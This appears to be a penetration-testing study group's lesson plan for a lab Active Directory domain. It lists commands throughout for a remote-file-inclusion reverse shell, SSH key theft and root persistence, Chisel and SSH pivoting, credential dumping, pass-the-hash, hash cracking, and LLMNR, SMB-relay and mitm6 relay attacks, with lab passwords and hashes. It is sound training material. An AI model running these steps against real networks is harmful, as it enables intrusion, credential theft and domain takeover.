Skip to main content

Lesson Plan

Accompanying Presentation

The PJPT Study Group is hosted by my friend and fellow Discord mod, Shawn Szczepkowski (aka @b33f or @b1gb33f)

This lesson plan was created for a presentation given to the group by me, Ben Heater. You can find the recording of this study session and presentation here:

The Environment

I'll be operating in this environment:
Albeit, with a few additions and minor changes to the lab.


Network Diagram      
     |                       |                     |     |
     |                       |                     |     |
     |                       |_____________________|     |
 [KALI VM]                              |                DOMAIN CONTROLLER (
     |                             DUAL-HOMED            WIN10ENT1 (
     |                             DVWA on DEBIAN        WIN10ENT2 (
     |                             DOMAIN-JOINED             ^
     |                  |
     |                            ^              |           |
     |____________________________|              |___________|

Pentest Scope, Objectives, and Rules of Engagement


  • (public facing)
  • (internal domain)


  • Own the domain


  • Chaos, total free for all!

Plan of Action

A lot of this is going to seem a bit contrived, as I've already laid out the path to own the domain. I have only done this in the interest of time.

Scan the external network for IP addresses

fping -ag

Run a port scan on any live hosts

sudo nmap -Pn -p- -A --min-rate 5000 -oA /home/ben/Pentest/Training/PJPT_Sessions/2024-Jan-04/10-9-9-199

Scavenge for any potential usernames / passwords and brute force any web servers

Make a note of any information and keep it in our back pocket

gobuster dir -u -w /home/ben/Pentest/Training/PJPT_Sessions/2024-Jan-04/gobuster-list.txt -x php,html,txt -r -o /home/ben/Pentest/Training/PJPT_Sessions/2024-Jan-04/gobuster-80.txt -b 403,404

Get a reverse shell on the web server using RFI

I'll be using this reverse shell.

sudo python3 -m http.server 80
sudo rlwrap nc -lnvp 443

Post-exploit enumeration

I'll be borrowing bits and pieces of my CTF methodology

Note the IP configuration, ARP table, Routes, Bound Ports

ip addr
ip neigh
ip route
netstat -plutan

Check for interesting files

find /home -type f 2>/dev/null

Make a local copy of the SSH private key and SSH in as localuser

cat /home/localuser/localuser_ssh_key
chmod 600 /home/ben/Pentest/Training/PJPT_Sessions/2024-Jan-04/localuser_ssh_key
ssh -i localuser_ssh_key localuser@

Find SUID file for privilege escalation

find / -type f -user root -perm /4000 2>/dev/null

Escalate privileges to root user

/bin/bash -ip

Set up Persistence as the root user

# On Kali
ssh-keygen -t rsa -b 4096 -f /tmp/root_persistence -C "" -N ""
mv /tmp/root_persistence /home/ben/Pentest/Training/PJPT_Sessions/2024-Jan-04
# Copy the public key to clipboard
cat /tmp/
# On target with escalated privileges
echo 'public_key_string_here' >> /root/.ssh/authorized_keys
# Test private key
ssh -i /home/ben/Pentest/Training/PJPT_Sessions/2024-Jan-04/root_persistence root@

We are on a dual-homed host with two interfaces on distinct subnets. Everything we have done to this point is the same regardless if this target where we've established our foothold is domain-joined or not.

However, as an added bonus, I have joined this Linux host to my Active Directory domain and want to demonstrate some enumeration steps that can help you gather more info.

Check if the Linux host is domain-joined and enumerate further
/usr/sbin/realm list -a
/usr/sbin/adcli info <realm_domain_name>

Great! Looks like it is, in fact, joined to the ad.lab domain. Let's reference more of the enumeration steps here.

Back to the rest of the action plan...

Set up the Reverse SOCKS Proxy Using Both SSH and Chisel

Just for demonstration purposes! You don't have to use both.

Chisel on Kali

wget -O chisel.gz
gunzip chisel.gz
chmod +x chisel
sudo ./chisel server --port 8080 --reverse -v &

Chisel on Target

wget ~/chisel.gz
gunzip ~/chisel.gz
chmod +x ~/chisel.gz
./chisel client R:50001:socks


ssh \
-o "UserKnownHostsFile=/dev/null" \
-o "StrictHostKeyChecking=no" \
-i root_persistence -f -N -D \

Add Proxies to Proxychains configuration

Just use comments to switch between the two

sudo nano /etc/proxychains4.conf

Adding both chisel and ssh proxies to the proxychains configuration. I've commented out the ssh proxy for now, leaving only the chisel proxy active. To test the ssh proxy, comment the chisel proxy and uncomment the ssh proxy.

# Chisel Proxy
# Uncomment one or the other
socks5 50001

# SSH Proxy
# Uncomment one or the other
# socks4 50002

Nmap Scan through the SOCKS proxy

sudo proxychains -q nmap -Pn -sT --top-ports 1000 -oA ad_nmap_scan

Pass around the password of our known credential

proxychains -q crackmapexec smb -u 'testuser123' -p 'TestUser1!' -d ad.lab

Discover that we have local admin on, so dump hashes

proxychains -q impacket-secretsdump 'testuser123:TestUser1!@'

Pass the Hash

Note the Template user, which is a local administrator, password may be repeated

Notice the Template user's hash was found in the computer's SAM database
This is where we really need to reinforce this idea of local vs network logons

proxychains -q crackmapexec smb -u 'Template' -H 66216d8fd712c24c18dfa588cfdeca75 --local-auth

Have a hand at cracking the hash

echo '66216d8fd712c24c18dfa588cfdeca75' > hash
john --format=NT --wordlist=crack_hashes.txt hash

RDP into and transfer Mimikatz to dump LSA

No need to prefix with proxychains -q as we're using the /proxy: flag.

xfreerdp /proxy:socks5// /v: /u:'Template' /p:'Template123!' /drive:.,kali-share +clipboard /size:90%

Crack the Domain Administrator's hash

echo 'hash_here' > da_hash
john --format=NT --wordlist=crack_hashes.txt da_hash



This portion of the documentation was added after the initial presentation linked at the top of this page. It shows the same exploitation chain but from an internal perspective.

I gave another presentation on an internal attack path that can be seen here:


Network Diagram

       Domain Contoller (
           WIN10ENT1 (
           WIN10ENT2 (
           WIN10ENT3 (

       KALI VM (

All hosts are on the same Local Area Network (LAN), allowing for some different attack vectors.

Pentest Scope, Objectives, and Rules of Engagement


  • (internal domain)


  • Own the domain


  • Chaos, total free for all!

Kali as a Dropbox on the Target Network

For brevity's sake, I'm going to use the same path to Domain Admin as the external test, but use a few different attack techniques.

The intention here is to focus on more internal-specific attacks, since we couldn't cover that in the lesson due to lack of time.

Host Scan

sudo arp-scan -I eth0

arp-scan is the best tool for the job when it comes to discovering hosts on the Local Area Network (LAN). No network device is going to block an arp request, unlike icmp (which is unnecessary on the LAN anyway).


sudo nmap -Pn -p- --min-rate 5000,3,4,6

image.png is clearly identified as the domain controller by looking at the ports

Scenario 1: LLMNR Posioning to Cracked Hash

LLMNR Poisoning with Responder
The premise behind this attack is that users will mistype server DNS names
When the Windows host falls back to LLMNR to try and resolve the uknown hostname, it's going to put a broadcast on the LAN
Responder is going to receive this broadcast and send back a poisioned response for the non-existent hostname, saying that your Kali box's IP address is the correct IP address for the false hostname.

Configure Responder

sudo nano /etc/responder/Responder.conf

Ensure these protocols are enabled

SMB = On

Start Responder

sudo responder -I eth0 -dvw

Mimick a user mistyping a server name.
Here I am logged into one of my Windows 10 domain-joined hosts as the testuser123@ad.lab user.


Catch the hash


Crack the hash

echo 'testuser123::AD:732542a6f3f915f5:F45FC641DB17B4E4FF8BA900A7797180:010100000000000080052DE0883FDA011A34BCC74A5C918C0000000002000800490054005300420001001E00570049004E002D0052004A005A0032005000390059004A00470051004C0004003400570049004E002D0052004A005A0032005000390059004A00470051004C002E0049005400530042002E004C004F00430041004C000300140049005400530042002E004C004F00430041004C000500140049005400530042002E004C004F00430041004C000700080080052DE0883FDA01060004000200000008003000300000000000000001000000002000000DACA5687DC86946BC593A96AB967B875FBFF8E61060D50FF3A9939E1B6F14D30A001000000000000000000000000000000000000900220063006900660073002F006E006F0073007500630068007300650072007600650072000000000000000000' > net-ntlm-hash
john --wordlist=crack_hashes.txt net-ntlm-hash

The crack_hashes.txt wordlist is a custom wordlist I've created for this demo, so please disregard the fact that the password cracking is made to look this easy. It's just a lab exercise.


Pass the Password with Crackmapexec

crackmapexec smb -u 'testuser123' -p 'TestUser1!' -d ad.lab


We have full administrative privileges as testuser123 on host!

Dump hashes using Impacket

impacket-secretsdump 'testuser123:TestUser1!@'


Local administrator, Template's hash was found in the SAM database on this host!

Pass the Template user's hash and dump the hashes from LSA using the lsassy module in CrackMapExec

crackmapexec smb -u 'Template' -H '66216d8fd712c24c18dfa588cfdeca75' --local-auth -M lsassy


The Domain Administrator's NTLM hash has been dumped from!

Crack the Domain Admin's hash and get a remote desktop and/or WinRM session on the domain controller

john --format=NT --wordlist=crack_hashes.txt da_hash


Remote Desktop with shared network folder

xfreerdp /v: /u:'ad.lab\domain.admin' /p:'P@$$word123!' /drive:.,kali-share +clipboard /size:90%


WinRM session using Evil-WinRM

evil-winrm -i -u 'domain.admin' -p 'P@$$word123!'


Scenario 2: SMB Relay with Responder and Ntlmrelayx

Create the targets file

echo -e '\n10.80.80.3\n10.80.80.4\n10.80.80.6' > targets.txt


Configure Responder

sudo nano /etc/responder/Responder.conf

Ensure these protocols are disabled, as they'll be served by ntlmrelayx

SMB = Off
HTTP = Off

Start Responder, which is going to poison responses

sudo responder -I eth0 -dvw

Start Impacket's ntlmrelay, which is going to relay the credentials

sudo impacket-ntlmrelayx -smb2support -tf targets.txt

Log into a domain-joined host and mimick a mistyped SMB mappingpWWDCQZoteogtxwf-image.png

image.pngResponder poisons the request

Ntlmrelayx authenticates with the relayed credentials and dumps hashes from

Follow that path again of Template local admin > dump credentials on other boxes > grab domain admin hash

Scenario 3: MITM6 WPAD Poisioning with Ntlmrelayx

Start mitm6

# Only respond to DNS requests for ad.lab hosts
sudo python3 ./mitm6/ -d ad.lab

Start ntlmrelayx

# -6: IPv6 support
# -t: target
# -wh: WPAD hostname
# -l: loot directory to store output
sudo impacket-ntlmrelayx -6 -t ldaps:// -wh -l mitm6_output_files

Mimick a domain admin logging into a domain-join host

  1. Log into one of your domain-joined PCs as your domain administrator account
  2. Run as administrator the command Restart-NetAdapter * in a PowerShell terminal 

image.pngmitm6 poisons DHCPv6 requests and maliciously configures clients

The domain administrator logs in, which causes the network stack to refresh its DHCPv6 lease and the credentials are relayed to the domain controller's LDAPs port, which allows Impacket to create a user that can DCSync

You'll see the username and password in the output which will allow to pull all of the usernames and hashes from the domain controller and own the domain.